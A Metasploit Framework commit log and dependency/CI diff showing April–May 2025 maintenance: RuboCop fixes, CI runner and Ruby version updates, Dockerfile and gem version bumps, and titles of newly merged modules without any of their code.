bcoles ae65bb3034 Ui::Console::ModuleOptionTabCompletion#tab_complete_option_names: sort results 2025-05-05 21:22:21 +10:00
jenkins-metasploit 9797ef1b6c automatic module_metadata_base.json update 2025-05-05 06:57:38 +00:00
msutovsky-r7 e4d03ad3e0 Land #20125, removes quotes around constant
Modules: Remove quotes surrounding quoted license constant
2025-05-05 08:49:15 +02:00
bcoles f73e982d23 modules/auxiliary/client: Resolve RuboCop violations 2025-05-04 23:26:52 +10:00
bcoles 127e4c553f modules/exploits/unix/x11: Resolve RuboCop violations 2025-05-04 16:24:31 +10:00
bcoles 0589879271 modules/auxiliary/bnat: Resolve RuboCop violations 2025-05-04 12:09:08 +10:00
h4x-x0r 832c725b93 Update pacsserver_traversal.rb 2025-05-03 20:36:10 +01:00
h4x-x0r d631fdc32f cleanup
cleanup
2025-05-03 20:23:39 +01:00
bcoles b37002fe42 Msf::OptionContainer: Replace .sorted Array attribute with self.sort 2025-05-04 01:29:28 +10:00
h00die-gr3y 2baabfa17b update check method to detected other vulnerable services 2025-05-03 14:08:49 +00:00
bcoles 417f9a0d03 Msf::Post::Linux::Kernel: Add yama_ptrace_scope method 2025-05-03 16:11:32 +10:00
bcoles a99333a9ca Modules: Remove quotes surrounding quoted license constant 2025-05-03 12:57:40 +10:00
h4x-x0r 60387de6c9 cleanup
cleanup
2025-05-02 23:28:29 +01:00
h4x-x0r 514f51d7dc CVE-2025-2264
CVE-2025-2264
2025-05-02 22:56:30 +01:00
h4x-x0r bd11531d4c wrong branch 2025-05-02 22:55:36 +01:00
h4x-x0r 18c34c6bd0 CVE-2025-2264
CVE-2025-2264
2025-05-02 22:53:57 +01:00
h00die-gr3y 908094da6b update documentation with privileged escalation to system 2025-05-02 20:59:07 +00:00
h00die-gr3y 1c5be6154a second release including Triofox + documentation 2025-05-02 20:42:14 +00:00
jenkins-metasploit 03e2d25ac9 automatic module_metadata_base.json update 2025-05-02 15:43:23 +00:00
jheysel-r7 aa3efedf43 Merge pull request #19992 from sjanusz-r7/add-opnsense-login-scanner
Add OPNSense Login Scanner module
2025-05-02 08:34:36 -07:00
jheysel-r7 90417306bb Merge branch 'master' into add-opnsense-login-scanner 2025-05-02 07:20:01 -07:00
jheysel-r7 daddc6ec9d Update lib/metasploit/framework/login_scanner/opnsense.rb 2025-05-02 07:19:04 -07:00
jenkins-metasploit 4303da19b0 automatic module_metadata_base.json update 2025-05-02 14:13:49 +00:00
bcoles dfb82a37b6 modules/auxiliary/vsploit: Resolve RuboCop violations 2025-05-03 00:09:57 +10:00
jheysel-r7 4b9032a487 Merge pull request #20060 from mekhalleh/rce_cve-2025-21293
Added exploit module for CVE-2025-32433 (Erlang/OTP)
2025-05-02 07:05:30 -07:00
bcoles ec484f97c6 modules/post/linux: Resolve RuboCop violations 2025-05-02 23:29:48 +10:00
adfoster-r7 371196f681 Merge pull request #20115 from cgranleese-r7/adds-additional-support-for-network-capture-decryption
Adds additional support for network capture decryption
2025-05-02 13:06:37 +01:00
jenkins-metasploit dace39fd11 automatic module_metadata_base.json update 2025-05-02 10:25:08 +00:00
msutovsky-r7 e178249b8c Land #20116, adds support for .library-ms files
auxiliary/fileformat/multidrop: Add support for .library-ms files
2025-05-02 12:16:57 +02:00
RAMELLA Sebastien 8da70b64d7 modify exploit response message
Signed-off-by: RAMELLA Sebastien <sebastien.ramella@pirates.re>
2025-05-02 13:41:47 +04:00
RAMELLA Sebastien eef2fac8dc add HrrRbSsh and fix exploit response message
Signed-off-by: RAMELLA Sebastien <sebastien.ramella@pirates.re>
2025-05-02 13:18:21 +04:00
Jack Heysel 4a746a3963 Relocate find_management_point method 2025-05-01 20:35:41 -07:00
jheysel-r7 c47c9b95fd Merge branch 'master' into get_naa_creds_via_relay 2025-05-01 20:33:35 -07:00
Spencer McIntyre 3216fbbde3 Fix the smb_to_ldap module 2025-05-01 16:59:16 -04:00
jenkins-metasploit 533f83cc5d automatic module_metadata_base.json update 2025-05-01 17:22:00 +00:00
msutovsky-r7 808fc5843e Land #20027, adds support for Shodan facets
Shodan facets
2025-05-01 19:13:35 +02:00
bcoles 14eca0a0b3 auxiliary/fileformat/multidrop: Add support for .library-ms files 2025-05-02 01:28:52 +10:00
jenkins-metasploit 77c2b0c758 automatic module_metadata_base.json update 2025-05-01 14:50:31 +00:00
jheysel-r7 e87f244357 Merge pull request #20106 from bcoles/word_unc_injector
Move auxiliary/docx/word_unc_injector module to auxiliary/fileformat/
2025-05-01 07:39:50 -07:00
adfoster-r7 c967e94afc Adds additional support for network capture decryption 2025-05-01 15:05:42 +01:00
Metasploit 763fe87143 Bump version of framework to 6.4.62 2025-05-01 07:18:38 -05:00
adfoster-r7 79c0fd6b97 Merge pull request #20114 from rapid7/revert-20080-adds-http-support-for-network-capture-decryption
Revert "Adds network capture decryption support to http scanners"
2025-05-01 12:52:22 +01:00
jenkins-metasploit 43ff6c51b5 automatic module_metadata_base.json update 2025-05-01 11:52:11 +00:00
cgranleese-r7 a439ce2147 Land #20113, Fix broken cache generation 2025-05-01 12:44:15 +01:00
cgranleese-r7 3002ad551f Revert "Adds network capture decryption support to http scanners" 2025-05-01 12:35:18 +01:00
adfoster-r7 a2cf7d7ef6 Fix broken cache generation 2025-05-01 12:21:55 +01:00
Simon Janusz e4aec40a44 Merge pull request #20080 from cgranleese-r7/adds-http-support-for-network-capture-decryption
Adds network capture decryption support to http scanners
2025-05-01 11:18:34 +01:00
cgranleese-r7 8a40737297 Land #20110, modules/post/osx: Resolve RuboCop violations 2025-05-01 10:54:33 +01:00
Ashley Donaldson 1ab3fc1a72 Add built HostingCLR binaries 2025-05-01 08:28:12 +10:00
Ashley Donaldson 2030818e90 Remove obsolete syscall logic; fix all warnings and lock in warnings as errors 2025-05-01 08:26:59 +10:00
jheysel-r7 3141152393 Merge pull request #20017 from zeroSteiner/feat/mod/ldap/passwords
Add LAPSv1 and LAPSv2 LDAP Module
2025-04-30 14:02:30 -07:00
Spencer McIntyre 2fdb2611f9 Note the version of LAPS here 2025-04-30 16:38:54 -04:00
Spencer McIntyre 5dd4098c75 Bump the version of RubySMB 2025-04-30 16:37:17 -04:00
jheysel-r7 0f22a18dac Merge pull request #20081 from msutovsky-r7/exploit/wondercms-rce
Adds module for  CVE-2023-41425 WonderCMS RCE
2025-04-30 13:14:45 -07:00
Christophe De La Fuente d83e6072ef Add the module and documentation for Ivanti RCE CVE-2025-22457 2025-04-30 22:02:16 +02:00
Metasploit 35ecb89bf8 Bump version of framework to 6.4.61 2025-04-30 13:06:00 -05:00
bcoles bf5269edc0 modules/post/osx: Resolve RuboCop violations 2025-05-01 02:49:28 +10:00
Martin Sutovsky 1f650b0432 Adding SRVHOST check 2025-04-30 17:58:15 +02:00
Martin Sutovsky f2e0fe79be Responding to comments 2025-04-30 17:53:26 +02:00
Christophe De La Fuente ed5e6db85e Fix issue that prevented to register exploit attempts 2025-04-30 17:45:12 +02:00
bcoles 5a601fc8b2 Move auxiliary/docx/word_unc_injector to auxiliary/fileformat/ 2025-04-30 18:26:15 +10:00
L 0bc2bcc3d2 fix DidYouMean notfound 2025-04-30 10:56:38 +08:00
Spencer McIntyre bdca86f39f Map the GKDI endpoint as a workaround 2025-04-29 14:01:42 -04:00
Spencer McIntyre 878653abe2 Update the module docs 2025-04-29 14:01:35 -04:00
Spencer McIntyre d59337f0a5 Add LAPS data for ldap_spec 2025-04-29 14:01:23 -04:00
Ashley Donaldson 6ec67d6a26 32-bit .NET working 2025-04-29 09:44:03 +10:00
Ashley Donaldson 7c7a56f9a5 Building 32-bit execute assembly 2025-04-29 09:44:03 +10:00
h00die-gr3y a6aca51230 initial module 2025-04-28 21:00:55 +00:00
RAMELLA Sebastien 73208fda35 add optenum for output ext
Signed-off-by: RAMELLA Sebastien <sebastien.ramella@pirates.re>
2025-04-27 21:02:04 +04:00
RAMELLA Sebastien 32a8e6797e fixes review
Signed-off-by: RAMELLA Sebastien <sebastien.ramella@pirates.re>
2025-04-27 20:31:13 +04:00
RAMELLA Sebastien d474d9b796 content nil and empty
Signed-off-by: RAMELLA Sebastien <sebastien.ramella@pirates.re>
2025-04-27 13:32:41 +04:00
RAMELLA Sebastien dc88f3ffd9 fixes review
Signed-off-by: RAMELLA Sebastien <sebastien.ramella@pirates.re>
2025-04-27 13:22:47 +04:00
e2002e 1f3f5db30b update info 2025-04-25 21:21:28 +02:00
e2002e c2ecd3f070 Merge https://github.com/rapid7/metasploit-framework into shodan_facets 2025-04-25 21:17:30 +02:00
Martin Sutovsky b117843c00 Addressing comments 2025-04-25 20:17:46 +02:00
Martin Sutovsky 622abe78f8 Adding cleanup option: 2025-04-25 15:53:47 +02:00
Martin Sutovsky 8fe0003bbe Adding cleanup 2025-04-25 15:51:53 +02:00
Martin Sutovsky 77d0fe5ae0 Fixing calling payload 2025-04-25 15:49:24 +02:00
Martin Sutovsky 9d5c4a59e8 Adding documentation 2025-04-25 14:47:00 +02:00
Martin Sutovsky 665065e4df Module init 2025-04-25 14:35:24 +02:00
RAMELLA Sebastien 740a8130d4 combine modules
Signed-off-by: RAMELLA Sebastien <sebastien.ramella@pirates.re>
2025-04-25 10:35:16 +04:00
e2002e 58b796e20c soft reset 2025-04-24 15:05:28 +02:00
cgranleese-r7 cfd2eda8ab Adds support to http scanners for network capture decryption 2025-04-24 11:27:18 +01:00
RAMELLA Sebastien 0da43ef502 add maldoc in PDF polyglot
Signed-off-by: RAMELLA Sebastien <sebastien.ramella@pirates.re>
2025-04-22 18:23:51 +04:00
RAMELLA Sebastien d387e2bb9f fix. vuln detection
Signed-off-by: RAMELLA Sebastien <sebastien.ramella@pirates.re>
2025-04-22 10:31:02 +04:00
RAMELLA Sebastien 44bf40ff3e fix. use random on SSH_MSG_CHANNEL_REQUEST (pre-auth)
Signed-off-by: RAMELLA Sebastien <sebastien.ramella@pirates.re>
2025-04-20 21:24:46 +04:00
RAMELLA Sebastien 0a428b8d03 add scanner capability + code review
Signed-off-by: RAMELLA Sebastien <sebastien.ramella@pirates.re>
2025-04-20 18:02:52 +04:00
RAMELLA Sebastien fbbaab9480 fix. fail with timeout expired
Signed-off-by: RAMELLA Sebastien <sebastien.ramella@pirates.re>
2025-04-19 00:51:54 +04:00
RAMELLA Sebastien 59ed219775 Added exploit module for CVE-2025-21293 (Erlang/OTP)
Signed-off-by: RAMELLA Sebastien <sebastien.ramella@pirates.re>
2025-04-19 00:18:46 +04:00
e2002e ed49c2e9fb Merge https://github.com/rapid7/metasploit-framework into shodan_facets 2025-04-15 13:29:48 +02:00
aaryan-11-x 0a3e3c3b6b Made all changes as requested 2025-04-14 23:40:25 +05:30
e2002e ce3dddda63 Merge branch 'master' of https://github.com/e2002e/metasploit-framework 2025-04-11 20:53:51 +02:00
e2002e 887bf2c025 use facets for shodan 2025-04-11 20:53:30 +02:00
aaryan-11-x cd307984cb msftidy Fixes 2025-04-11 23:05:43 +05:30
aaryan-11-x de1aa520a4 RuboCop Fixes 2025-04-11 23:02:28 +05:30
aaryan-11-x 6fb4e2ef56 Added exploit module & documentation for CVE-2024-57488 2025-04-11 23:01:33 +05:30
Spencer McIntyre 38e1cb5db2 Update the specs 2025-04-09 16:44:43 -04:00
Spencer McIntyre 608ebf2f4e Add LAPS support to ldap_paswords 2025-04-09 16:44:32 -04:00
Spencer McIntyre 02bb2e29ac Move ldap_hashdump -> ldap_passwords
We're shifting the focus to password recovery but we'll still gather
hashes if they're found.
2025-04-09 13:04:00 -04:00
Spencer McIntyre a5e1fb8ad3 Refactor the ldap_hashdump module 2025-04-09 13:04:00 -04:00
Spencer McIntyre ac5ba70bd2 Add the MsGkdi mixin 2025-04-09 13:04:00 -04:00
Spencer McIntyre daed558f9a Remove a piece of dead code 2025-04-09 13:04:00 -04:00
Spencer McIntyre d0e0703b5e Raise an error when there is no session 2025-04-09 13:04:00 -04:00
Spencer McIntyre bc881ab880 Apply rubocop changes to cms.rb 2025-04-09 13:04:00 -04:00
Spencer McIntyre 5c939dbeea Add CCM and GCM parameter definitions from RFC5911 2025-04-09 13:04:00 -04:00
lafried 94da99e948 Update platform.rb
Add another windows signature
2025-04-07 12:59:17 +01:00
sebaspf f55a0fe0b7 correct list formatting and add missing links
Add missing links for the Timeout Control and Stageless Mode Documentation.
Correct list formatting.
2025-04-06 19:55:22 +02:00
sjanusz-r7 9808172c9e Address OPNSense login scanner PR feedback 2025-04-04 15:58:40 +01:00
jheysel-r7 ca3c4a1362 Merge branch 'master' into get_naa_creds_via_relay 2025-04-01 09:34:35 -07:00
Harrison Neal 28c0992e77 CVE-2024-9157 detection 2025-04-01 11:32:32 -04:00
sjanusz-r7 2b0d9b4971 Add OPNSense Login Scanner module 2025-03-31 14:57:44 +01:00
jheysel-r7 b3de2516bd Merge branch 'master' into get_naa_creds_via_relay 2025-03-21 10:43:20 -07:00
Jack Heysel 87a17424af Suggestions from code review 2025-03-21 10:34:08 -07:00
jheysel-r7 0f65539bb5 Apply suggestions from code review
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2025-03-21 08:53:53 -07:00
Jack Heysel fdf4531c10 Add SMB to HTTP relay support for get_naa_creds 2025-03-13 10:59:59 -07:00
jvoisin b988b49f27 Add Notes->AKA for EquationGroup codenames
Sources used:
- https://www.rapid7.com/blog/post/2017/04/18/the-shadow-brokers-leaked-exploits-faq/
- https://github.com/x0rz/EQGRP
2025-02-23 20:36:12 +01:00
h4x-x0r 2b83fbf449 CVE-2022-38120
CVE-2022-38120
2025-02-20 02:02:36 +00:00
Martin Sutovsky f667179515 Removing execution of LINQPad file due to module recategorisation to persistence 2025-01-24 16:54:27 +01:00
msutovsky-r7 712b47b0bf Merge branch 'rapid7:master' into linqpad_deserialization 2025-01-24 16:52:29 +01:00
Martin Sutovsky 689e44f3ff Addressing some issues 2025-01-10 11:12:32 +01:00
Martin Sutovsky 2f351eae33 Addressing some issues 2025-01-10 11:12:21 +01:00
Martin Sutovsky 93c2360741 Renaming module to persistence module instead 2025-01-09 15:30:50 +01:00
Martin Sutovsky 058e7be47a Cleaning up module 2024-12-30 16:13:24 +01:00
msutovsky-r7 2a51f450cd Merge branch 'rapid7:master' into linqpad_deserialization 2024-12-30 15:59:32 +01:00
Martin Sutovsky 302052c692 LINQPad deserialization module init 2024-12-30 15:57:59 +01:00
jvoisin b2ad59d0aa Add modules/exploits/linux/local/udev_persistence.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-10-10 23:08:23 +02:00
3495 changed files with 150292 additions and 118572 deletions
+16 -12
View File
@@ -63,21 +63,23 @@ jobs:
fail-fast: false
matrix:
os:
- windows-2019
- windows-2022
- ubuntu-latest
ruby:
- '3.2'
- '3.4'
include:
# Powershell
- { command_shell: { name: powershell }, os: windows-2019 }
- { command_shell: { name: powershell }, os: windows-2022 }
- { command_shell: { name: powershell }, ruby: '3.4', os: windows-2022 }
- { command_shell: { name: powershell }, ruby: '3.4', os: windows-2025 }
# Linux
- { command_shell: { name: linux }, os: ubuntu-latest }
- { command_shell: { name: linux }, ruby: '3.4', os: ubuntu-latest }
# CMD
- { command_shell: { name: cmd }, os: windows-2019 }
- { command_shell: { name: cmd }, os: windows-2022 }
- { command_shell: { name: cmd }, ruby: '3.4', os: windows-2022 }
# TODO: Tests currently fail:
# - { command_shell: { name: cmd }, ruby: '3.4', os: windows-2025 }
runs-on: ${{ matrix.os }}
@@ -131,10 +133,11 @@ jobs:
if: runner.os == 'Windows'
run: git config --system core.longpaths true
- name: Setup Ruby
env:
BUNDLE_FORCE_RUBY_PLATFORM: true
uses: ruby/setup-ruby@v1
- name: Setup '${{ matrix.ruby }}' Ruby
# Skip for now to ensure CI passes on Windows server 2025 powershell tests
#env:
# BUNDLE_FORCE_RUBY_PLATFORM: true
uses: ruby/setup-ruby@eaecf785f6a34567a6d97f686bbb7bccc1ac1e5c
with:
ruby-version: ${{ matrix.ruby }}
bundler-cache: true
@@ -191,7 +194,8 @@ jobs:
BUNDLE_FORCE_RUBY_PLATFORM: true
uses: ruby/setup-ruby@v1
with:
ruby-version: '${{ matrix.ruby }}'
# use the default version from the .ruby-version file
ruby-version: '.ruby-version'
bundler-cache: true
cache-version: 4
+2
View File
@@ -33,6 +33,8 @@ on:
- 'metsploit-framework.gemspec'
- 'Gemfile.lock'
- '**/**ldap**'
- 'lib/metasploit/framework/tcp/**'
- 'lib/metasploit/framework/login_scanner/**'
- 'spec/acceptance/**'
- 'spec/support/acceptance/**'
- 'spec/acceptance_spec_helper.rb'
@@ -33,6 +33,8 @@ on:
- 'metsploit-framework.gemspec'
- 'Gemfile.lock'
- '**/**postgres**'
- 'lib/metasploit/framework/tcp/**'
- 'lib/metasploit/framework/login_scanner/**'
- 'spec/acceptance/**'
- 'spec/support/acceptance/**'
- 'spec/acceptance_spec_helper.rb'
+2 -2
View File
@@ -26,11 +26,11 @@ jobs:
- '3.3'
- '3.4'
os:
- ubuntu-20.04
- ubuntu-22.04
- ubuntu-24.04
- ubuntu-latest
- windows-2019
- windows-2022
- windows-2025
- macos-13
env:
@@ -68,10 +68,10 @@ jobs:
matrix:
os:
- macos-13
- windows-2019
- windows-2022
- ubuntu-latest
ruby:
- '3.2'
- '3.4'
meterpreter:
# Python
- { name: python, runtime_version: 3.8 }
@@ -87,8 +87,9 @@ jobs:
- { name: php, runtime_version: 8.3 }
include:
# Windows Meterpreter
- { meterpreter: { name: windows_meterpreter }, os: windows-2019 }
- { meterpreter: { name: windows_meterpreter }, os: windows-2022 }
- { meterpreter: { name: windows_meterpreter }, ruby: '3.4', os: windows-2022 }
# TODO: Screenshotting behavior fails:
# - { meterpreter: { name: windows_meterpreter }, ruby: '3.4', os: windows-2025 }
# Mettle
- { meterpreter: { name: mettle }, os: macos-13 }
@@ -200,7 +201,8 @@ jobs:
BUNDLE_FORCE_RUBY_PLATFORM: true
# Required for macos13 pg gem compilation
PKG_CONFIG_PATH: "/usr/local/opt/libpq/lib/pkgconfig"
uses: ruby/setup-ruby@v1
# Pinned to avoid Windows compilation failure with nokogiri
uses: ruby/setup-ruby@eaecf785f6a34567a6d97f686bbb7bccc1ac1e5c
with:
ruby-version: ${{ matrix.ruby }}
bundler-cache: true
@@ -274,6 +276,15 @@ jobs:
make.bat
working-directory: metasploit-payloads
- name: Build Windows payloads via Visual Studio 2025 Build (Windows)
shell: cmd
if: ${{ matrix.meterpreter.name == 'windows_meterpreter' && matrix.os == 'windows-2025' && inputs.build_metasploit_payloads }}
run: |
cd c/meterpreter
git submodule init && git submodule update
make.bat
working-directory: metasploit-payloads
- name: Get metasploit-payloads version
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
shell: bash
@@ -358,7 +369,7 @@ jobs:
if: always()
env:
BUNDLE_FORCE_RUBY_PLATFORM: true
uses: ruby/setup-ruby@v1
uses: ruby/setup-ruby@eaecf785f6a34567a6d97f686bbb7bccc1ac1e5c
with:
ruby-version: '3.3'
bundler-cache: true
+28 -4
View File
@@ -23,12 +23,10 @@ require:
- ./lib/rubocop/cop/lint/deprecated_gem_version.rb
- ./lib/rubocop/cop/lint/module_enforce_notes.rb
- ./lib/rubocop/cop/lint/detect_invalid_pack_directives.rb
- ./lib/rubocop/cop/lint/detect_metadata_trailing_leading_whitespace.rb
Layout/SpaceBeforeBrackets:
Description: >-
Disabled as it generates invalid code:
https://github.com/rubocop-hq/rubocop/issues/9499
Enabled: false
Enabled: true
Lint/AmbiguousAssignment:
Enabled: true
@@ -116,6 +114,12 @@ Style/DocumentDynamicEvalDefinition:
Style/EndlessMethod:
Enabled: true
Style/FormatStringToken:
Enabled: true
Exclude:
# We aren't ready to enable this for modules yet
- 'modules/**/*'
Style/HashExcept:
Enabled: true
@@ -155,9 +159,26 @@ Style/RedundantAssignment:
and return expression
Enabled: false
Style/RedundantParentheses:
Description: >-
Disabled as it sometimes improves the readability of code
Enabled: false
Style/RedundantRegexpArgument:
Enabled: true
Exclude:
# We aren't ready to enable this for modules yet
- 'modules/**/*'
Style/SwapValues:
Enabled: false
Layout/LineContinuationLeadingSpace:
Description: >-
Disabled as it sometimes improves the readability of code having leading spaces
for indented code strings.
Enabled: false
Layout/ModuleHashOnNewLine:
Enabled: true
@@ -652,3 +673,6 @@ Style/UnpackFirst:
Disabling to make it easier to copy/paste `unpack('h*')` expressions from code
into a debugging REPL.
Enabled: false
Lint/DetectMetadataTrailingLeadingWhitespace:
Enabled: true
+1 -1
View File
@@ -1 +1 @@
3.2.5
3.2.8
+6 -5
View File
@@ -1,4 +1,4 @@
FROM ruby:3.2.5-alpine3.20 AS builder
FROM ruby:3.2.8-alpine3.21 AS builder
LABEL maintainer="Rapid7"
ARG BUNDLER_CONFIG_ARGS="set force_ruby_platform 'true' set no-cache 'true' set system 'true' set without 'development test coverage'"
@@ -24,6 +24,7 @@ RUN apk add --no-cache \
readline-dev \
sqlite-dev \
postgresql-dev \
libffi-dev \
libpcap-dev \
libxml2-dev \
libxslt-dev \
@@ -47,13 +48,13 @@ RUN apk add --no-cache \
ENV GO111MODULE=off
RUN mkdir -p $TOOLS_HOME/bin && \
cd $TOOLS_HOME/bin && \
curl -O https://dl.google.com/go/go1.21.1.src.tar.gz && \
tar -zxf go1.21.1.src.tar.gz && \
rm go1.21.1.src.tar.gz && \
curl -O https://dl.google.com/go/go1.24.0.src.tar.gz && \
tar -zxf go1.24.0.src.tar.gz && \
rm go1.24.0.src.tar.gz && \
cd go/src && \
./make.bash
FROM ruby:3.2.5-alpine3.20
FROM ruby:3.2.8-alpine3.21
LABEL maintainer="Rapid7"
ARG TARGETARCH
+3 -3
View File
@@ -24,7 +24,7 @@ group :development do
# memory profiling
gem 'memory_profiler'
# cpu profiling
gem 'ruby-prof', '1.4.2'
gem 'ruby-prof'
# Metasploit::Aggregator external session proxy
# disabled during 2.5 transition until aggregator is available
# gem 'metasploit-aggregator'
@@ -37,8 +37,8 @@ group :development, :test do
# environment is development
gem 'rspec-rails'
gem 'rspec-rerun'
# Required during CI as well local development - pinned due to CI failure on: rubocop-1.73.2/lib/rubocop/config_loader.rb:272:in `read'
gem 'rubocop', '1.67.0'
# Required during CI as well local development
gem 'rubocop', '1.75.7'
end
group :test do
+40 -28
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.4.60)
metasploit-framework (6.4.71)
aarch64
abbrev
actionpack (~> 7.1.0)
@@ -45,9 +45,9 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 2.0.189)
metasploit-payloads (= 2.0.221)
metasploit_data_models (>= 6.0.7)
metasploit_payloads-mettle (= 1.0.35)
metasploit_payloads-mettle (= 1.0.42)
mqtt
msgpack (~> 1.6.0)
mutex_m
@@ -97,7 +97,7 @@ PATH
rinda
ruby-macho
ruby-mysql
ruby_smb (~> 3.3.3)
ruby_smb (~> 3.3.15)
rubyntlm
rubyzip
sinatra
@@ -170,7 +170,7 @@ GEM
rspec-expectations (~> 3.12)
arel-helpers (2.16.0)
activerecord (>= 3.1.0, < 8.1)
ast (2.4.2)
ast (2.4.3)
aws-eventstream (1.3.2)
aws-partitions (1.1065.0)
aws-sdk-core (3.220.1)
@@ -293,7 +293,8 @@ GEM
jsobfu (0.4.2)
rkelly-remix
json (2.10.2)
language_server-protocol (3.17.0.4)
language_server-protocol (3.17.0.5)
lint_roller (1.1.0)
little-plugger (1.1.4)
logger (1.6.6)
logging (2.4.0)
@@ -309,10 +310,14 @@ GEM
activesupport (~> 7.0)
railties (~> 7.0)
zeitwerk
metasploit-credential (6.0.14)
metasploit-credential (6.0.16)
bigdecimal
csv
drb
metasploit-concern
metasploit-model
metasploit_data_models (>= 5.0.0)
mutex_m
net-ssh
pg
railties
@@ -323,7 +328,7 @@ GEM
activemodel (~> 7.0)
activesupport (~> 7.0)
railties (~> 7.0)
metasploit-payloads (2.0.189)
metasploit-payloads (2.0.221)
metasploit_data_models (6.0.9)
activerecord (~> 7.0)
activesupport (~> 7.0)
@@ -334,7 +339,7 @@ GEM
railties (~> 7.0)
recog
webrick
metasploit_payloads-mettle (1.0.35)
metasploit_payloads-mettle (1.0.42)
method_source (1.1.0)
mime-types (3.6.0)
logger
@@ -377,8 +382,8 @@ GEM
ostruct (0.6.1)
packetfu (2.0.0)
pcaprub (~> 0.13.1)
parallel (1.26.3)
parser (3.3.7.1)
parallel (1.27.0)
parser (3.3.8.0)
ast (~> 2.4.1)
racc
patch_finder (1.0.2)
@@ -390,6 +395,7 @@ GEM
ruby-rc4
ttfunk
pg (1.5.9)
prism (1.4.0)
pry (0.14.2)
coderay (~> 1.1)
method_source (~> 1.0)
@@ -446,7 +452,7 @@ GEM
rex-core
rex-struct2
rex-text
rex-core (0.1.33)
rex-core (0.1.34)
rex-encoder (0.1.8)
metasm
rex-arch
@@ -469,22 +475,24 @@ GEM
rex-random_identifier
rex-text
ruby-rc4
rex-random_identifier (0.1.15)
rex-random_identifier (0.1.16)
bigdecimal
rex-text
rex-registry (0.1.6)
rex-rop_builder (0.1.6)
metasm
rex-core
rex-text
rex-socket (0.1.60)
rex-socket (0.1.62)
dnsruby
rex-core
rex-sslscan (0.1.11)
rex-sslscan (0.1.13)
rex-core
rex-socket
rex-text
rex-struct2 (0.1.5)
rex-text (0.2.60)
rex-text (0.2.61)
bigdecimal
rex-zip (0.1.6)
rex-text
rexml (3.4.1)
@@ -516,25 +524,27 @@ GEM
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.13.2)
rubocop (1.67.0)
rubocop (1.75.7)
json (~> 2.3)
language_server-protocol (>= 3.17.0)
language_server-protocol (~> 3.17.0.2)
lint_roller (~> 1.1.0)
parallel (~> 1.10)
parser (>= 3.3.0.2)
rainbow (>= 2.2.2, < 4.0)
regexp_parser (>= 2.4, < 3.0)
rubocop-ast (>= 1.32.2, < 2.0)
regexp_parser (>= 2.9.3, < 3.0)
rubocop-ast (>= 1.44.0, < 2.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 2.4.0, < 3.0)
rubocop-ast (1.38.1)
parser (>= 3.3.1.0)
unicode-display_width (>= 2.4.0, < 4.0)
rubocop-ast (1.44.1)
parser (>= 3.3.7.2)
prism (~> 1.4)
ruby-macho (4.1.0)
ruby-mysql (4.2.0)
ruby-prof (1.4.2)
ruby-prof (1.7.1)
ruby-progressbar (1.13.0)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.5)
ruby_smb (3.3.13)
ruby_smb (3.3.15)
bindata (= 2.4.15)
openssl-ccm
openssl-cmac
@@ -577,7 +587,9 @@ GEM
concurrent-ruby (~> 1.0)
tzinfo-data (1.2025.1)
tzinfo (>= 1.0.0)
unicode-display_width (2.6.0)
unicode-display_width (3.1.4)
unicode-emoji (~> 4.0, >= 4.0.4)
unicode-emoji (4.0.4)
unix-crypt (1.3.1)
warden (1.2.9)
rack (>= 2.0.9)
@@ -622,8 +634,8 @@ DEPENDENCIES
redcarpet
rspec-rails
rspec-rerun
rubocop (= 1.67.0)
ruby-prof (= 1.4.2)
rubocop (= 1.75.7)
ruby-prof
simplecov (= 0.18.2)
test-prof
timecop
+20 -17
View File
@@ -12,7 +12,7 @@ afm, 0.2.2, MIT
allure-rspec, 2.26.0, "Apache 2.0"
allure-ruby-commons, 2.26.0, "Apache 2.0"
arel-helpers, 2.16.0, MIT
ast, 2.4.2, MIT
ast, 2.4.3, MIT
aws-eventstream, 1.3.2, "Apache 2.0"
aws-partitions, 1.1065.0, "Apache 2.0"
aws-sdk-core, 3.220.1, "Apache 2.0"
@@ -83,7 +83,8 @@ irb, 1.7.4, "ruby, Simplified BSD"
jmespath, 1.6.2, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.10.2, ruby
language_server-protocol, 3.17.0.4, MIT
language_server-protocol, 3.17.0.5, MIT
lint_roller, 1.1.0, MIT
little-plugger, 1.1.4, MIT
logger, 1.6.6, "ruby, Simplified BSD"
logging, 2.4.0, MIT
@@ -91,10 +92,10 @@ loofah, 2.24.0, MIT
memory_profiler, 1.1.0, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 5.0.4, "New BSD"
metasploit-credential, 6.0.14, "New BSD"
metasploit-framework, 6.4.60, "New BSD"
metasploit-credential, 6.0.16, "New BSD"
metasploit-framework, 6.4.71, "New BSD"
metasploit-model, 5.0.3, "New BSD"
metasploit-payloads, 2.0.189, "3-clause (or ""modified"") BSD"
metasploit-payloads, 2.0.221, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.9, "New BSD"
metasploit_payloads-mettle, 1.0.35, "3-clause (or ""modified"") BSD"
method_source, 1.1.0, MIT
@@ -125,12 +126,13 @@ openssl-cmac, 2.0.2, MIT
openvas-omp, 0.0.4, MIT
ostruct, 0.6.1, "ruby, Simplified BSD"
packetfu, 2.0.0, "New BSD"
parallel, 1.26.3, MIT
parser, 3.3.7.1, MIT
parallel, 1.27.0, MIT
parser, 3.3.8.0, MIT
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.3, LGPL-2.1
pdf-reader, 2.14.1, MIT
pg, 1.5.9, "Simplified BSD"
prism, 1.4.0, MIT
pry, 0.14.2, MIT
pry-byebug, 3.10.1, MIT
public_suffix, 6.0.1, MIT
@@ -155,7 +157,7 @@ reline, 0.6.0, ruby
require_all, 3.0.0, MIT
rex-arch, 0.1.18, "New BSD"
rex-bin_tools, 0.1.10, "New BSD"
rex-core, 0.1.33, "New BSD"
rex-core, 0.1.34, "New BSD"
rex-encoder, 0.1.8, "New BSD"
rex-exploitation, 0.1.41, "New BSD"
rex-java, 0.1.8, "New BSD"
@@ -163,13 +165,13 @@ rex-mime, 0.1.11, "New BSD"
rex-nop, 0.1.4, "New BSD"
